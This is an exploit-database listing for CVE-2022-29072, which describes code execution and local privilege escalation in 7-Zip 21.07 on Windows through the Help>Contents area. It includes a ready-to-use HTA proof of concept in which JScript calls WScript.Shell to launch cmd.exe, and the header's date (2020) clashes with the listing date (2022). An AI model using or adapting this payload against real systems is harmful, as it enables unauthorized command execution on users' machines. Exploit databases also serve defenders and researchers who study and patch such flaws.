Lucene search

K
exploitdbKağan ÇaparEDB-ID:50883
HistoryApr 19, 2022 - 12:00 a.m.

7-zip - Code Execution / Local Privilege Escalation

2022-04-1900:00:00
Kağan Çapar
www.exploit-db.com
2122
7-zip
windows
privilege escalation
command execution
cve-2022-29072

EPSS

0.001

Percentile

49.9%

# Exploit Title: 7-zip - Code Execution / Local Privilege Escalation
# Exploit Author:  Kağan Çapar
# Date: 2020-04-12
# Vendor homepage: https://www.7-zip.org/
# Software link: https://www.7-zip.org/a/7z2107-x64.msi
# Version: 21.07 and all versions
# Tested On: Windows 10 Pro (x64)
# References: https://github.com/kagancapar/CVE-2022-29072

# About:
7-Zip through 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area.

# Proof of Concept:
<html>
<head>
<HTA:APPLICATION ID="7zipcodeexec">
<script language="jscript">
var c = "cmd.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
<head>
<html>